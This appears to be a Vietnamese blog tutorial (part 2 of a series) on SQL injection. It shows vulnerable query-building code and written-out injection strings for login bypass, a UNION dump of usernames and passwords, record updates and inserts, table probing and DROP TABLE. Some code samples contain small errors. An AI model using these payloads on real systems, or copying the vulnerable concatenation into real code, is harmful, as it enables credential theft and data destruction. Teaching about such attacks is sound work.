SQL Injection – Phần 2: Ngữ cảnh và mục đích đạt được khi tấn công
Phần trước bạn đã hiểu qua các khái niệm cơ bản của SQL Injection. Ngoài ra bạn có thể xem thêm các bài viết cùng chủ đề trong blog để biết thêm về SQL Injection. Bài tiếp theo của loạt bài này, chúng ta cùng điểm qua một vài cách khai thác lỗi cơ bản.
a. Vượt qua kiểm tra đăng nhập:
Sau khi người dùng nhập username, password và click nút submit, username và password này sẽ được gửi đến ứng dụng và xử lý chúng. Một câu truy vấn SQL sẽ được tạo ra và lấy các hàng khớp với thông tin người dùng cung cấp. Người dùng lúc đó sẽ được chứng thực và chuyển đến trang yêu cầu.
Tuy nhiên, nếu không được kiểm tra kỹ sẽ dễ bị lỗi SQL injection. Ví dụ đoạn code sau đâu bị lỗi SQL injection:
string strQry = “SELECT Count(*) FROM Users WHERE Username=’” + txtUser.Text + “‘ AND Password =’” + txtPassword.Text + “‘”;
Nếu người dùng đăng nhập bình thường, ví dụ như trong hình, username là ‘Jason’ và password là ‘Springfield’. Khi đó ứng dụng sẽ thực hiện câu truy vấn: SELECT Count(*) FROM Users WHERE Username = ‘Jason’ AND Password = ‘Springfield’.
Tuy nhiên, nếu đăng nhập với username và Password như sau:
Lúc này, câu truy vấn sẽ được thực hiện như sau: SELECT Count(*) FROM Users WHERE Username = ‘Blah’ OR 1 = 1 — AND Password = ‘Springfield’. Chú ý rằng sau dấu – là comment. Nghĩa là câu truy vấn thật sự là SELECT Count(*) FROM Users WHERE Username = ‘Blah’ OR 1 = 1. Như vậy là người tấn công sẽ vượt qua phần kiểm tra đăng nhập.
b. Hiển thị bảng username và password
Các website thường có ô tìm kiếm để người dùng dễ dàng tìm dữ liệu. Tuy nhiên, nếu ô tìm kiếm này không được kiểm tra kỹ sẽ dễ tạo lỗ hổng để hacker tấn công.
Ví dụ đoạn code sau có lỗ hổng:
strSQL = “SELECT ProductID, ProductName, QuantityPerUnit, UnitPrice FROM Products”;
if (txtFilter.Text .Length > 1) {
strSQL += “ WHERE ProductName LIKE ‘” + txt.Filter.Text + ‘”;}
Nếu giá trị của ô tìm kiếm được nhập vào là blah’ UNION Select 0, username, password 0 from users –. Câu lệnh truy vấn lúc đó là:
SELECT ProductID, ProductName, QuantityPerUnit, UnitPrice FROM Products WHERE ProductName LIKE ‘blah’ UNION SELECT 0, username, password 0 FROM USERS –
Toán tử UNION cho phép ghép kết quả 2 câu lệnh SELECT lại, với điều kiện 2 câu lệnh này phải có cùng số cột.
Kết quả: Username và password bị hiển thị ra.
c. Update table
Chuỗi tấn công:
blah’; UPDATE jb-customers SET jb-email = ‘info@juggyboy.com’ WHERE email =’jason@springfield.com;–
Câu lệnh SQL truy vấn lúc đó là:
SELECT jb-email, jb-passwd, ib-login_id, jb-last_name FROM members WHERE jb-email = ‘blah’; UPDATE jb-customers SET jb-email = ‘info@juggyboy.com’ WHERE email =’jason@springfield.com;–
d. Thêm record
Chuỗi tấn công:
blah’; INSERT INTO jb-customers (‘jb-email’,’jb-passwd’,’jb-login_id’,’jb-last_name’) VALUES (‘jason@springfield.com’,’hello’,’jason’,’jason springfield’);–
Câu lệnh SQL truy vấn lúc đó là:
SELECT jb-email, jb-passwd, ib-login_id, jb-last_name FROM members WHERE jb-email = ‘blah’; INSERT INTO jb-customers (‘jb-email’,’jb-passwd’,’jb-login_id’,’jb-last_name’) VALUES (‘jason@springfield.com’,’hello’,’jason’,’jason springfield’);–
e. Xác định tên bảng
Chuỗi tấn công:
blah’ AND 1 = (SELECT COUNT(*) FROM mytable); –
Câu lệnh SQL truy vấn lúc đó là:
SELECT jb-email, jb-passwd, ib-login_id, jb-last_name FROM members WHERE jb-email = ‘blah’ AND 1 = (SELECT COUNT(*) FROM mytable); –
f. Xóa bảng
Chuỗi tấn công:
blah’; DROP TABLE CreditCard; –
Câu lệnh SQL truy vấn lúc đó là:
SELECT jb-email, jb-passwd, ib-login_id, jb-last_name FROM members WHERE jb-email = ‘blah’; DROP TABLE CreditCard; –
-
KakA
-
dctuit
-
dctuit
-





